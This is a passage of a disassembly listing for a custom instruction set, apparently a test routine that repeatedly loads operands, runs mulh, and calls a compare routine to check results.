63d4: 0d 43 16 00 wl16 r16,0x18a0
63d8: 0d 60 02 03 wh16 r16,0x3
63dc: 10 40 02 10 ld32 r16,r16
63e0: 0d 45 31 3c wl16 r9,0x299c
63e4: 0d 60 01 23 wh16 r9,0x3
63e8: 10 40 01 29 ld32 r9,r9
63ec: 00 60 01 10 mulh r8,r16
63f0: 20 70 03 e2 movepc rret,8
63f4: 14 30 e7 07 br 10 <compare>,#al
63f8: 00 10 00 41 add r2,1
63fc: 0d 40 f5 08 wl16 r8,0x7a8
6400: 0d 60 01 03 wh16 r8,0x3
6404: 10 40 01 08 ld32 r8,r8
6408: 0d 43 16 04 wl16 r16,0x18a4
640c: 0d 60 02 03 wh16 r16,0x3
6410: 10 40 02 10 ld32 r16,r16
6414: 0d 45 35 20 wl16 r9,0x29a0
6418: 0d 60 01 23 wh16 r9,0x3
641c: 10 40 01 29 ld32 r9,r9
6420: 00 60 01 10 mulh r8,r16
6424: 20 70 03 e2 movepc rret,8
6428: 14 30 e6 fa br 10 <compare>,#al
642c: 00 10 00 41 add r2,1
6430: 0d 40 f5 0c wl16 r8,0x7ac
6434: 0d 60 01 03 wh16 r8,0x3
6438: 10 40 01 08 ld32 r8,r8
643c: 0d 43 16 08 wl16 r16,0x18a8
6440: 0d 60 02 03 wh16 r16,0x3
6444: 10 40 02 10 ld32 r16,r16
6448: 0d 45 35 24 wl16 r9,0x29a4
644c: 0d 60 01 23 wh16 r9,0x3
6450: 10 40 01 29 ld32 r9,r9
6454: 00 60 01 10 mulh r8,r16
6458: 20 70 03 e2 movepc rret,8
645c: 14 30 e6 ed br 10 <compare>,#al
6460: 00 10 00 41 add r2,1
6464: 0d 40 f5 10 wl16 r8,0x7b0
6468: 0d 60 01 03 wh16 r8,0x3
646c: 10 40 01 08 ld32 r8,r8
6470: 0d 43 16 0c wl16 r16,0x18ac
6474: 0d 60 02 03 wh16 r16,0x3
6478: 10 40 02 10 ld32 r16,r16
647c: 0d 45 35 28 wl16 r9,0x29a8
6480: 0d 60 01 23 wh16 r9,0x3
6484: 10 40 01 29 ld32 r9,r9
6488: 00 60 01 10 mulh r8,r16
648c: 20 70 03 e2 movepc rret,8
6490: 14 30 e6 e0 br 10 <compare>,#al
6494: 00 10 00 41 add r2,1
6498: 0d 40 f5 14 wl16 r8,0x7b4
649c: 0d 60 01 03 wh16 r8,0x3
64a0: 10 40 01 08 ld32 r8,r8
64a4: 0d 43 16 10 wl16 r16,0x18b0
64a8: 0d 60 02 03 wh16 r16,0x3
64ac: 10 40 02 10 ld32 r16,r16
64b0: 0d 45 35 2c wl16 r9,0x29ac
64b4: 0d 60 01 23 wh16 r9,0x3
64b8: 10 40 01 29 ld32 r9,r9
64bc: 00 60 01 10 mulh r8,r16
64c0: 20 70 03 e2 movepc rret,8
64c4: 14 30 e6 d3 br 10 <compare>,#al
64c8: 00 10 00 41 add r2,1
64cc: 0d 40 f5 18 wl16 r8,0x7b8
64d0: 0d 60 01 03 wh16 r8,0x3
64d4: 10 40 01 08 ld32 r8,r8
64d8: 0d 43 16 14 wl16 r16,0x18b4
64dc: 0d 60 02 03 wh16 r16,0x3
64e0: 10 40 02 10 ld32 r16,r16
64e4: 0d 45 35 30 wl16 r9,0x29b0
64e8: 0d 60 01 23 wh16 r9,0x3
64ec: 10 40 01 29 ld32 r9,r9
64f0: 00 60 01 10 mulh r8,r16
64f4: 20 70 03 e2 movepc rret,8
64f8: 14 30 e6 c6 br 10 <compare>,#al
64fc: 00 10 00 41 add r2,1
6500: 0d 40 f5 1c wl16 r8,0x7bc
6504: 0d 60 01 03 wh16 r8,0x3
6508: 10 40 01 08 ld32 r8,r8
650c: 0d 43 16 18 wl16 r16,0x18b8
6510: 0d 60 02 03 wh16 r16,0x3
6514: 10 40 02 10 ld32 r16,r16
6518: 0d 45 35 34 wl16 r9,0x29b4
651c: 0d 60 01 23 wh16 r9,0x3
6520: 10 40 01 29 ld32 r9,r9
6524: 00 60 01 10 mulh r8,r16
6528: 20 70 03 e2 movepc rret,8
652c: 14 30 e6 b9 br 10 <compare>,#al
6530: 00 10 00 41 add r2,1
6534: 0d 40 f9 00 wl16 r8,0x7c0
6538: 0d 60 01 03 wh16 r8,0x3
653c: 10 40 01 08 ld32 r8,r8
6540: 0d 43 16 1c wl16 r16,0x18bc
6544: 0d 60 02 03 wh16 r16,0x3
6548: 10 40 02 10 ld32 r16,r16
654c: 0d 45 35 38 wl16 r9,0x29b8
6550: 0d 60 01 23 wh16 r9,0x3
6554: 10 40 01 29 ld32 r9,r9
6558: 00 60 01 10 mulh r8,r16
655c: 20 70 03 e2 movepc rret,8
6560: 14 30 e6 ac br 10 <compare>,#al
6564: 00 10 00 41 add r2,1
6568: 0d 40 f9 04 wl16 r8,0x7c4
656c: 0d 60 01 03 wh16 r8,0x3
6570: 10 40 01 08 ld32 r8,r8
6574: 0d 43 1a 00 wl16 r16,0x18c0
6578: 0d 60 02 03 wh16 r16,0x3
657c: 10 40 02 10 ld32 r16,r16
6580: 0d 45 35 3c wl16 r9,0x29bc
6584: 0d 60 01 23 wh16 r9,0x3
6588: 10 40 01 29 ld32 r9,r9
658c: 00 60 01 10 mulh r8,r16
6590: 20 70 03 e2 movepc rret,8
6594: 14 30 e6 9f br 10 <compare>,#al
6598: 00 10 00 41 add r2,1
659c: 0d 40 f9 08 wl16 r8,0x7c8
65a0: 0d 60 01 03 wh16 r8,0x3
65a4: 10 40 01 08 ld32 r8,r8
65a8: 0d 43 1a 04 wl16 r16,0x18c4
65ac: 0d 60 02 03 wh16 r16,0x3
65b0: 10 40 02 10 ld32 r16,r16
65b4: 0d 45 39 20 wl16 r9,0x29c0
65b8: 0d 60 01 23 wh16 r9,0x3
65bc: 10 40 01 29 ld32 r9,r9
65c0: 00 60 01 10 mulh r8,r16
65c4: 20 70 03 e2 movepc rret,8
65c8: 14 30 e6 92 br 10 <compare>,#al
65cc: 00 10 00 41 add r2,1
65d0: 0d 40 f9 0c wl16 r8,0x7cc
65d4: 0d 60 01 03 wh16 r8,0x3
65d8: 10 40 01 08 ld32 r8,r8
65dc: 0d 43 1a 08 wl16 r16,0x18c8
65e0: 0d 60 02 03 wh16 r16,0x3
65e4: 10 40 02 10 ld32 r16,r16
65e8: 0d 45 39 24 wl16 r9,0x29c4
65ec: 0d 60 01 23 wh16 r9,0x3
65f0: 10 40 01 29 ld32 r9,r9
65f4: 00 60 01 10 mulh r8,r16
65f8: 20 70 03 e2 movepc rret,8
65fc: 14 30 e6 85 br 10 <compare>,#al
6600: 00 10 00 41 add r2,1
6604: 0d 40 f9 10 wl16 r8,0x7d0
6608: 0d 60 01 03 wh16 r8,0x3
660c: 10 40 01 08 ld32 r8,r8
6610: 0d 43 1a 0c wl16 r16,0x18cc
6614: 0d 60 02 03 wh16 r16,0x3
6618: 10 40 02 10 ld32 r16,r16
661c: 0d 45 39 28 wl16 r9,0x29c8
6620: 0d 60 01 23 wh16 r9,0x3
6624: 10 40 01 29 ld32 r9,r9
6628: 00 60 01 10 mulh r8,r16
662c: 20 70 03 e2 movepc rret,8
6630: 14 30 e6 78 br 10 <compare>,#al
6634: 00 10 00 41 add r2,1
6638: 0d 40 f9 14 wl16 r8,0x7d4
663c: 0d 60 01 03 wh16 r8,0x3
6640: 10 40 01 08 ld32 r8,r8
6644: 0d 43 1a 10 wl16 r16,0x18d0
6648: 0d 60 02 03 wh16 r16,0x3
664c: 10 40 02 10 ld32 r16,r16
6650: 0d 45 39 2c wl16 r9,0x29cc
6654: 0d 60 01 23 wh16 r9,0x3
6658: 10 40 01 29 ld32 r9,r9
665c: 00 60 01 10 mulh r8,r16
6660: 20 70 03 e2 movepc rret,8
6664: 14 30 e6 6b br 10 <compare>,#al
6668: 00 10 00 41 add r2,1
666c: 0d 40 f9 18 wl16 r8,0x7d8
6670: 0d 60 01 03 wh16 r8,0x3
6674: 10 40 01 08 ld32 r8,r8
6678: 0d 43 1a 14 wl16 r16,0x18d4
667c: 0d 60 02 03 wh16 r16,0x3
6680: 10 40 02 10 ld32 r16,r16
6684: 0d 45 39 30 wl16 r9,0x29d0
6688: 0d 60 01 23 wh16 r9,0x3
668c: 10 40 01 29 ld32 r9,r9
6690: 00 60 01 10 mulh r8,r16
6694: 20 70 03 e2 movepc rret,8
6698: 14 30 e6 5e br 10 <compare>,#al
669c: 00 10 00 41 add r2,1
66a0: 0d 40 f9 1c wl16 r8,0x7dc
66a4: 0d 60 01 03 wh16 r8,0x3
66a8: 10 40 01 08 ld32 r8,r8
66ac: 0d 43 1a 18 wl16 r16,0x18d8
66b0: 0d 60 02 03 wh16 r16,0x3
66b4: 10 40 02 10 ld32 r16,r16
66b8: 0d 45 39 34 wl16 r9,0x29d4
66bc: 0d 60 01 23 wh16 r9,0x3
66c0: 10 40 01 29 ld32 r9,r9
66c4: 00 60 01 10 mulh r8,r16
66c8: 20 70 03 e2 movepc rret,8
66cc: 14 30 e6 51 br 10 <compare>,#al
66d0: 00 10 00 41 add r2,1
66d4: 0d 40 fd 00 wl16 r8,0x7e0
66d8: 0d 60 01 03 wh16 r8,0x3
66dc: 10 40 01 08 ld32 r8,r8
66e0: 0d 43 1a 1c wl16 r16,0x18dc
66e4: 0d 60 02 03 wh16 r16,0x3
66e8: 10 40 02 10 ld32 r16,r16
66ec: 0d 45 39 38 wl16 r9,0x29d8
66f0: 0d 60 01 23 wh16 r9,0x3
66f4: 10 40 01 29 ld32 r9,r9
66f8: 00 60 01 10 mulh r8,r16
66fc: 20 70 03 e2 movepc rret,8
6700: 14 30 e6 44 br 10 <compare>,#al
6704: 00 10 00 41 add r2,1
6708: 0d 40 fd 04 wl16 r8,0x7e4
670c: 0d 60 01 03 wh16 r8,0x3
6710: 10 40 01 08 ld32 r8,r8
6714: 0d 43 1e 00 wl16 r16,0x18e0
6718: 0d 60 02 03 wh16 r16,0x3
671c: 10 40 02 10 ld32 r16,r16
6720: 0d 45 39 3c wl16 r9,0x29dc
6724: 0d 60 01 23 wh16 r9,0x3
6728: 10 40 01 29 ld32 r9,r9
672c: 00 60 01 10 mulh r8,r16
6730: 20 70 03 e2 movepc rret,8
6734: 14 30 e6 37 br 10 <compare>,#al
6738: 00 10 00 41 add r2,1
673c: 0d 40 fd 08 wl16 r8,0x7e8
6740: 0d 60 01 03 wh16 r8,0x3
6744: 10 40 01 08 ld32 r8,r8
6748: 0d 43 1e 04 wl16 r16,0x18e4
674c: 0d 60 02 03 wh16 r16,0x3
6750: 10 40 02 10 ld32 r16,r16
6754: 0d 45 3d 20 wl16 r9,0x29e0
6758: 0d 60 01 23 wh16 r9,0x3
675c: 10 40 01 29 ld32 r9,r9
6760: 00 60 01 10 mulh r8,r16
6764: 20 70 03 e2 movepc rret,8
6768: 14 30 e6 2a br 10 <compare>,#al
676c: 00 10 00 41 add r2,1
6770: 0d 40 fd 0c wl16 r8,0x7ec
6774: 0d 60 01 03 wh16 r8,0x3
6778: 10 40 01 08 ld32 r8,r8
677c: 0d 43 1e 08 wl16 r16,0x18e8
6780: 0d 60 02 03 wh16 r16,0x3
6784: 10 40 02 10 ld32 r16,r16
6788: 0d 45 3d 24 wl16 r9,0x29e4
678c: 0d 60 01 23 wh16 r9,0x3
6790: 10 40 01 29 ld32 r9,r9
6794: 00 60 01 10 mulh r8,r16
6798: 20 70 03 e2 movepc rret,8
679c: 14 30 e6 1d br 10 <compare>,#al
67a0: 00 10 00 41 add r2,1
67a4: 0d 40 fd 10 wl16 r8,0x7f0
67a8: 0d 60 01 03 wh16 r8,0x3
67ac: 10 40 01 08 ld32 r8,r8
67b0: 0d 43 1e 0c wl16 r16,0x18ec
67b4: 0d 60 02 03 wh16 r16,0x3
67b8: 10 40 02 10 ld32 r16,r16
67bc: 0d 45 3d 28 wl16 r9,0x29e8
67c0: 0d 60 01 23 wh16 r9,0x3
67c4: 10 40 01 29 ld32 r9,r9
67c8: 00 60 01 10 mulh r8,r16
67cc: 20 70 03 e2 movepc rret,8
67d0: 14 30 e6 10 br 10 <compare>,#al
67d4: 00 10 00 41 add r2,1
67d8: 0d 40 fd 14 wl16 r8,0x7f4
67dc: 0d 60 01 03 wh16 r8,0x3
67e0: 10 40 01 08 ld32 r8,r8
67e4: 0d 43 1e 10 wl16 r16,0x18f0
67e8: 0d 60 02 03 wh16 r16,0x3
67ec: 10 40 02 10 ld32 r16,r16
67f0: 0d 45 3d 2c wl16 r9,0x29ec
67f4: 0d 60 01 23 wh16 r9,0x3
67f8: 10 40 01 29 ld32 r9,r9
67fc: 00 60 01 10 mulh r8,r16
6800: 20 70 03 e2 movepc rret,8
6804: 14 30 e6 03 br 10 <compare>,#al
6808: 00 10 00 41 add r2,1
680c: 0d 40 fd 18 wl16 r8,0x7f8
6810: 0d 60 01 03 wh16 r8,0x3
6814: 10 40 01 08 ld32 r8,r8
6818: 0d 43 1e 14 wl16 r16,0x18f4
681c: 0d 60 02 03 wh16 r16,0x3
6820: 10 40 02 10 ld32 r16,r16
6824: 0d 45 3d 30 wl16 r9,0x29f0
6828: 0d 60 01 23 wh16 r9,0x3
682c: 10 40 01 29 ld32 r9,r9
6830: 00 60 01 10 mulh r8,r16
6834: 20 70 03 e2 movepc rret,8
6838: 14 30 e5 f6 br 10 <compare>,#al
683c: 00 10 00 41 add r2,1
6840: 0d 40 fd 1c wl16 r8,0x7fc
6844: 0d 60 01 03 wh16 r8,0x3
6848: 10 40 01 08 ld32 r8,r8
684c: 0d 43 1e 18 wl16 r16,0x18f8
6850: 0d 60 02 03 wh16 r16,0x3
6854: 10 40 02 10 ld32 r16,r16
6858: 0d 45 3d 34 wl16 r9,0x29f4
685c: 0d 60 01 23 wh16 r9,0x3
6860: 10 40 01 29 ld32 r9,r9
6864: 00 60 01 10 mulh r8,r16
6868: 20 70 03 e2 movepc rret,8
686c: 14 30 e5 e9 br 10 <compare>,#al
6870: 00 10 00 41 add r2,1
6874: 0d 41 01 00 wl16 r8,0x800
6878: 0d 60 01 03 wh16 r8,0x3
687c: 10 40 01 08 ld32 r8,r8
6880: 0d 43 1e 1c wl16 r16,0x18fc
6884: 0d 60 02 03 wh16 r16,0x3
6888: 10 40 02 10 ld32 r16,r16
688c: 0d 45 3d 38 wl16 r9,0x29f8
6890: 0d 60 01 23 wh16 r9,0x3
6894: 10 40 01 29 ld32 r9,r9
6898: 00 60 01 10 mulh r8,r16
689c: 20 70 03 e2 movepc rret,8
68a0: 14 30 e5 dc br 10 <compare>,#al
68a4: 00 10 00 41 add r2,1
68a8: 0d 41 01 04 wl16 r8,0x804
68ac: 0d 60 01 03 wh16 r8,0x3
68b0: 10 40 01 08 ld32 r8,r8
68b4: 0d 43 22 00 wl16 r16,0x1900
68b8: 0d 60 02 03 wh16 r16,0x3
68bc: 10 40 02 10 ld32 r16,r16
68c0: 0d 45 3d 3c wl16 r9,0x29fc
68c4: 0d 60 01 23 wh16 r9,0x3
68c8: 10 40 01 29 ld32 r9,r9
68cc: 00 60 01 10 mulh r8,r16
68d0: 20 70 03 e2 movepc rret,8
68d4: 14 30 e5 cf br 10 <compare>,#al
68d8: 00 10 00 41 add r2,1
68dc: 0d 41 01 08 wl16 r8,0x808
68e0: 0d 60 01 03 wh16 r8,0x3
68e4: 10 40 01 08 ld32 r8,r8
68e8: 0d 43 22 04 wl16 r16,0x1904
68ec: 0d 60 02 03 wh16 r16,0x3
68f0: 10 40 02 10 ld32 r16,r16
68f4: 0d 45 41 20 wl16 r9,0x2a00
68f8: 0d 60 01 23 wh16 r9,0x3
68fc: 10 40 01 29 ld32 r9,r9
6900: 00 60 01 10 mulh r8,r16
6904: 20 70 03 e2 movepc rret,8
6908: 14 30 e5 c2 br 10 <compare>,#al
690c: 00 10 00 41 add r2,1
6910: 0d 41 01 0c wl16 r8,0x80c
6914: 0d 60 01 03 wh16 r8,0x3
6918: 10 40 01 08 ld32 r8,r8
691c: 0d 43 22 08 wl16 r16,0x1908
6920: 0d 60 02 03 wh16 r16,0x3
6924: 10 40 02 10 ld32 r16,r16
6928: 0d 45 41 24 wl16 r9,0x2a04
692c: 0d 60 01 23 wh16 r9,0x3
6930: 10 40 01 29 ld32 r9,r9
6934: 00 60 01 10 mulh r8,r16
6938: 20 70 03 e2 movepc rret,8
693c: 14 30 e5 b5 br 10 <compare>,#al
6940: 00 10 00 41 add r2,1
6944: 0d 41 01 10 wl16 r8,0x810
6948: 0d 60 01 03 wh16 r8,0x3
694c: 10 40 01 08 ld32 r8,r8
6950: 0d 43 22 0c wl16 r16,0x190c
6954: 0d 60 02 03 wh16 r16,0x3
6958: 10 40 02 10 ld32 r16,r16
695c: 0d 45 41 28 wl16 r9,0x2a08
6960: 0d 60 01 23 wh16 r9,0x3
6964: 10 40 01 29 ld32 r9,r9
6968: 00 60 01 10 mulh r8,r16
696c: 20 70 03 e2 movepc rret,8
6970: 14 30 e5 a8 br 10 <compare>,#al
6974: 00 10 00 41 add r2,1
6978: 0d 41 01 14 wl16 r8,0x814
697c: 0d 60 01 03 wh16 r8,0x3
6980: 10 40 01 08 ld32 r8,r8
6984: 0d 43 22 10 wl16 r16,0x1910
6988: 0d 60 02 03 wh16 r16,0x3
698c: 10 40 02 10 ld32 r16,r16
6990: 0d 45 41 2c wl16 r9,0x2a0c
6994: 0d 60 01 23 wh16 r9,0x3
6998: 10 40 01 29 ld32 r9,r9
699c: 00 60 01 10 mulh r8,r16
69a0: 20 70 03 e2 movepc rret,8
69a4: 14 30 e5 9b br 10 <compare>,#al
69a8: 00 10 00 41 add r2,1
69ac: 0d 41 01 18 wl16 r8,0x818
69b0: 0d 60 01 03 wh16 r8,0x3
69b4: 10 40 01 08 ld32 r8,r8
69b8: 0d 43 22 14 wl16 r16,0x1914
69bc: 0d 60 02 03 wh16 r16,0x3
69c0: 10 40 02 10 ld32 r16,r16
69c4: 0d 45 41 30 wl16 r9,0x2a10
69c8: 0d 60 01 23 wh16 r9,0x3
69cc: 10 40 01 29 ld32 r9,r9
69d0: 00 60 01 10 mulh r8,r16
69d4: 20 70 03 e2 movepc rret,8
69d8: 14 30 e5 8e br 10 <compare>,#al
69dc: 00 10 00 41 add r2,1
69e0: 0d 41 01 1c wl16 r8,0x81c
69e4: 0d 60 01 03 wh16 r8,0x3
69e8: 10 40 01 08 ld32 r8,r8
69ec: 0d 43 22 18 wl16 r16,0x1918
69f0: 0d 60 02 03 wh16 r16,0x3
69f4: 10 40 02 10 ld32 r16,r16
69f8: 0d 45 41 34 wl16 r9,0x2a14
69fc: 0d 60 01 23 wh16 r9,0x3
6a00: 10 40 01 29 ld32 r9,r9
6a04: 00 60 01 10 mulh r8,r16
6a08: 20 70 03 e2 movepc rret,8
6a0c: 14 30 e5 81 br 10 <compare>,#al
6a10: 00 10 00 41 add r2,1
6a14: 0d 41 05 00 wl16 r8,0x820
6a18: 0d 60 01 03 wh16 r8,0x3
6a1c: 10 40 01 08 ld32 r8,r8
6a20: 0d 43 22 1c wl16 r16,0x191c
6a24: 0d 60 02 03 wh16 r16,0x3
6a28: 10 40 02 10 ld32 r16,r16
6a2c: 0d 45 41 38 wl16 r9,0x2a18
6a30: 0d 60 01 23 wh16 r9,0x3
6a34: 10 40 01 29 ld32 r9,r9
6a38: 00 60 01 10 mulh r8,r16
6a3c: 20 70 03 e2 movepc rret,8
6a40: 14 30 e5 74 br 10 <compare>,#al
6a44: 00 10 00 41 add r2,1
6a48: 0d 41 05 04 wl16 r8,0x824
6a4c: 0d 60 01 03 wh16 r8,0x3
6a50: 10 40 01 08 ld32 r8,r8
6a54: 0d 43 26 00 wl16 r16,0x1920
6a58: 0d 60 02 03 wh16 r16,0x3
6a5c: 10 40 02 10 ld32 r16,r16
6a60: 0d 45 41 3c wl16 r9,0x2a1c
6a64: 0d 60 01 23 wh16 r9,0x3
6a68: 10 40 01 29 ld32 r9,r9
6a6c: 00 60 01 10 mulh r8,r16
6a70: 20 70 03 e2 movepc rret,8
6a74: 14 30 e5 67 br 10 <compare>,#al
6a78: 00 10 00 41 add r2,1
6a7c: 0d 41 05 08 wl16 r8,0x828
6a80: 0d 60 01 03 wh16 r8,0x3
6a84: 10 40 01 08 ld32 r8,r8
6a88: 0d 43 26 04 wl16 r16,0x1924
6a8c: 0d 60 02 03 wh16 r16,0x3
6a90: 10 40 02 10 ld32 r16,r16
6a94: 0d 45 45 20 wl16 r9,0x2a20
6a98: 0d 60 01 23 wh16 r9,0x3
6a9c: 10 40 01 29 ld32 r9,r9
6aa0: 00 60 01 10 mulh r8,r16
6aa4: 20 70 03 e2 movepc rret,8
6aa8: 14 30 e5 5a br 10 <compare>,#al
6aac: 00 10 00 41 add r2,1
6ab0: 0d 41 05 0c wl16 r8,0x82c
6ab4: 0d 60 01 03 wh16 r8,0x3
6ab8: 10 40 01 08 ld32 r8,r8
6abc: 0d 43 26 08 wl16 r16,0x1928
6ac0: 0d 60 02 03 wh16 r16,0x3
6ac4: 10 40 02 10 ld32 r16,r16
6ac8: 0d 45 45 24 wl16 r9,0x2a24
6acc: 0d 60 01 23 wh16 r9,0x3
6ad0: 10 40 01 29 ld32 r9,r9
6ad4: 00 60 01 10 mulh r8,r16
6ad8: 20 70 03 e2 movepc rret,8
6adc: 14 30 e5 4d br 10 <compare>,#al
6ae0: 00 10 00 41 add r2,1
6ae4: 0d 41 05 10 wl16 r8,0x830
6ae8: 0d 60 01 03 wh16 r8,0x3
6aec: 10 40 01 08 ld32 r8,r8
6af0: 0d 43 26 0c wl16 r16,0x192c
6af4: 0d 60 02 03 wh16 r16,0x3
6af8: 10 40 02 10 ld32 r16,r16
6afc: 0d 45 45 28 wl16 r9,0x2a28
6b00: 0d 60 01 23 wh16 r9,0x3
6b04: 10 40 01 29 ld32 r9,r9
6b08: 00 60 01 10 mulh r8,r16
6b0c: 20 70 03 e2 movepc rret,8
6b10: 14 30 e5 40 br 10 <compare>,#al
6b14: 00 10 00 41 add r2,1
6b18: 0d 41 05 14 wl16 r8,0x834
6b1c: 0d 60 01 03 wh16 r8,0x3
6b20: 10 40 01 08 ld32 r8,r8
6b24: 0d 43 26 10 wl16 r16,0x1930
6b28: 0d 60 02 03 wh16 r16,0x3
6b2c: 10 40 02 10 ld32 r16,r16
6b30: 0d 45 45 2c wl16 r9,0x2a2c
6b34: 0d 60 01 23 wh16 r9,0x3
6b38: 10 40 01 29 ld32 r9,r9
6b3c: 00 60 01 10 mulh r8,r16
6b40: 20 70 03 e2 movepc rret,8
6b44: 14 30 e5 33 br 10 <compare>,#al
6b48: 00 10 00 41 add r2,1
6b4c: 0d 41 05 18 wl16 r8,0x838
6b50: 0d 60 01 03 wh16 r8,0x3
6b54: 10 40 01 08 ld32 r8,r8
6b58: 0d 43 26 14 wl16 r16,0x1934
6b5c: 0d 60 02 03 wh16 r16,0x3
6b60: 10 40 02 10 ld32 r16,r16
6b64: 0d 45 45 30 wl16 r9,0x2a30
6b68: 0d 60 01 23 wh16 r9,0x3
6b6c: 10 40 01 29 ld32 r9,r9
6b70: 00 60 01 10 mulh r8,r16
6b74: 20 70 03 e2 movepc rret,8
6b78: 14 30 e5 26 br 10 <compare>,#al
6b7c: 00 10 00 41 add r2,1
6b80: 0d 41 05 1c wl16 r8,0x83c
6b84: 0d 60 01 03 wh16 r8,0x3
6b88: 10 40 01 08 ld32 r8,r8
6b8c: 0d 43 26 18 wl16 r16,0x1938
6b90: 0d 60 02 03 wh16 r16,0x3
6b94: 10 40 02 10 ld32 r16,r16
6b98: 0d 45 45 34 wl16 r9,0x2a34
6b9c: 0d 60 01 23 wh16 r9,0x3
6ba0: 10 40 01 29 ld32 r9,r9
6ba4: 00 60 01 10 mulh r8,r16
6ba8: 20 70 03 e2 movepc rret,8
6bac: 14 30 e5 19 br 10 <compare>,#al
6bb0: 00 10 00 41 add r2,1
6bb4: 0d 41 09 00 wl16 r8,0x840
6bb8: 0d 60 01 03 wh16 r8,0x3
6bbc: 10 40 01 08 ld32 r8,r8
6bc0: 0d 43 26 1c wl16 r16,0x193c
6bc4: 0d 60 02 03 wh16 r16,0x3
6bc8: 10 40 02 10 ld32 r16,r16
6bcc: 0d 45 45 38 wl16 r9,0x2a38
6bd0: 0d 60 01 23 wh16 r9,0x3
6bd4: 10 40 01 29 ld32 r9,r9
6bd8: 00 60 01 10 mulh r8,r16
6bdc: 20 70 03 e2 movepc rret,8
6be0: 14 30 e5 0c br 10 <compare>,#al
6be4: 00 10 00 41 add r2,1
6be8: 0d 41 09 04 wl16 r8,0x844
6bec: 0d 60 01 03 wh16 r8,0x3
6bf0: 10 40 01 08 ld32 r8,r8
6bf4: 0d 43 2a 00 wl16 r16,0x1940
6bf8: 0d 60 02 03 wh16 r16,0x3
6bfc: 10 40 02 10 ld32 r16,r16
6c00: 0d 45 45 3c wl16 r9,0x2a3c
6c04: 0d 60 01 23 wh16 r9,0x3
6c08: 10 40 01 29 ld32 r9,r9
6c0c: 00 60 01 10 mulh r8,r16
6c10: 20 70 03 e2 movepc rret,8
6c14: 14 30 e4 ff br 10 <compare>,#al
6c18: 00 10 00 41 add r2,1
6c1c: 0d 41 09 08 wl16 r8,0x848
6c20: 0d 60 01 03 wh16 r8,0x3
6c24: 10 40 01 08 ld32 r8,r8
6c28: 0d 43 2a 04 wl16 r16,0x1944
6c2c: 0d 60 02 03 wh16 r16,0x3
6c30: 10 40 02 10 ld32 r16,r16
6c34: 0d 45 49 20 wl16 r9,0x2a40
6c38: 0d 60 01 23 wh16 r9,0x3
6c3c: 10 40 01 29 ld32 r9,r9
6c40: 00 60 01 10 mulh r8,r16
6c44: 20 70 03 e2 movepc rret,8
6c48: 14 30 e4 f2 br 10 <compare>,#al
6c4c: 00 10 00 41 add r2,1
6c50: 0d 41 09 0c wl16 r8,0x84c
6c54: 0d 60 01 03 wh16 r8,0x3
6c58: 10 40 01 08 ld32 r8,r8
6c5c: 0d 43 2a 08 wl16 r16,0x1948
6c60: 0d 60 02 03 wh16 r16,0x3
6c64: 10 40 02 10 ld32 r16,r16
6c68: 0d 45 49 24 wl16 r9,0x2a44
6c6c: 0d 60 01 23 wh16 r9,0x3
6c70: 10 40 01 29 ld32 r9,r9
6c74: 00 60 01 10 mulh r8,r16
6c78: 20 70 03 e2 movepc rret,8
6c7c: 14 30 e4 e5 br 10 <compare>,#al
6c80: 00 10 00 41 add r2,1
6c84: 0d 41 09 10 wl16 r8,0x850
6c88: 0d 60 01 03 wh16 r8,0x3
6c8c: 10 40 01 08 ld32 r8,r8
6c90: 0d 43 2a 0c wl16 r16,0x194c
6c94: 0d 60 02 03 wh16 r16,0x3
6c98: 10 40 02 10 ld32 r16,r16
6c9c: 0d 45 49 28 wl16 r9,0x2a48
6ca0: 0d 60 01 23 wh16 r9,0x3
6ca4: 10 40 01 29 ld32 r9,r9
6ca8: 00 60 01 10 mulh r8,r16
6cac: 20 70 03 e2 movepc rret,8
6cb0: 14 30 e4 d8 br 10 <compare>,#al
6cb4: 00 10 00 41 add r2,1
6cb8: 0d 41 09 14 wl16 r8,0x854
6cbc: 0d 60 01 03 wh16 r8,0x3
6cc0: 10 40 01 08 ld32 r8,r8
6cc4: 0d 43 2a 10 wl16 r16,0x1950
6cc8: 0d 60 02 03 wh16 r16,0x3
6ccc: 10 40 02 10 ld32 r16,r16
6cd0: 0d 45 49 2c wl16 r9,0x2a4c
6cd4: 0d 60 01 23 wh16 r9,0x3
6cd8: 10 40 01 29 ld32 r9,r9
6cdc: 00 60 01 10 mulh r8,r16
6ce0: 20 70 03 e2 movepc rret,8
6ce4: 14 30 e4 cb br 10 <compare>,#al
6ce8: 00 10 00 41 add r2,1
6cec: 0d 41 09 18 wl16 r8,0x858
6cf0: 0d 60 01 03 wh16 r8,0x3
6cf4: 10 40 01 08 ld32 r8,r8
6cf8: 0d 43 2a 14 wl16 r16,0x1954
6cfc: 0d 60 02 03 wh16 r16,0x3
6d00: 10 40 02 10 ld32 r16,r16
6d04: 0d 45 49 30 wl16 r9,0x2a50
6d08: 0d 60 01 23 wh16 r9,0x3
6d0c: 10 40 01 29 ld32 r9,r9
6d10: 00 60 01 10 mulh r8,r16
6d14: 20 70 03 e2 movepc rret,8
6d18: 14 30 e4 be br 10 <compare>,#al
6d1c: 00 10 00 41 add r2,1
6d20: 0d 41 09 1c wl16 r8,0x85c
6d24: 0d 60 01 03 wh16 r8,0x3
6d28: 10 40 01 08 ld32 r8,r8
6d2c: 0d 43 2a 18 wl16 r16,0x1958
6d30: 0d 60 02 03 wh16 r16,0x3
6d34: 10 40 02 10 ld32 r16,r16
6d38: 0d 45 49 34 wl16 r9,0x2a54
6d3c: 0d 60 01 23 wh16 r9,0x3
6d40: 10 40 01 29 ld32 r9,r9
6d44: 00 60 01 10 mulh r8,r16
6d48: 20 70 03 e2 movepc rret,8
6d4c: 14 30 e4 b1 br 10 <compare>,#al
6d50: 00 10 00 41 add r2,1
6d54: 0d 41 0d 00 wl16 r8,0x860
6d58: 0d 60 01 03 wh16 r8,0x3
6d5c: 10 40 01 08 ld32 r8,r8
6d60: 0d 43 2a 1c wl16 r16,0x195c
6d64: 0d 60 02 03 wh16 r16,0x3
6d68: 10 40 02 10 ld32 r16,r16
6d6c: 0d 45 49 38 wl16 r9,0x2a58
6d70: 0d 60 01 23 wh16 r9,0x3
6d74: 10 40 01 29 ld32 r9,r9
6d78: 00 60 01 10 mulh r8,r16
6d7c: 20 70 03 e2 movepc rret,8
6d80: 14 30 e4 a4 br 10 <compare>,#al
6d84: 00 10 00 41 add r2,1
6d88: 0d 41 0d 04 wl16 r8,0x864
6d8c: 0d 60 01 03 wh16 r8,0x3
6d90: 10 40 01 08 ld32 r8,r8
6d94: 0d 43 2e 00 wl16 r16,0x1960
6d98: 0d 60 02 03 wh16 r16,0x3
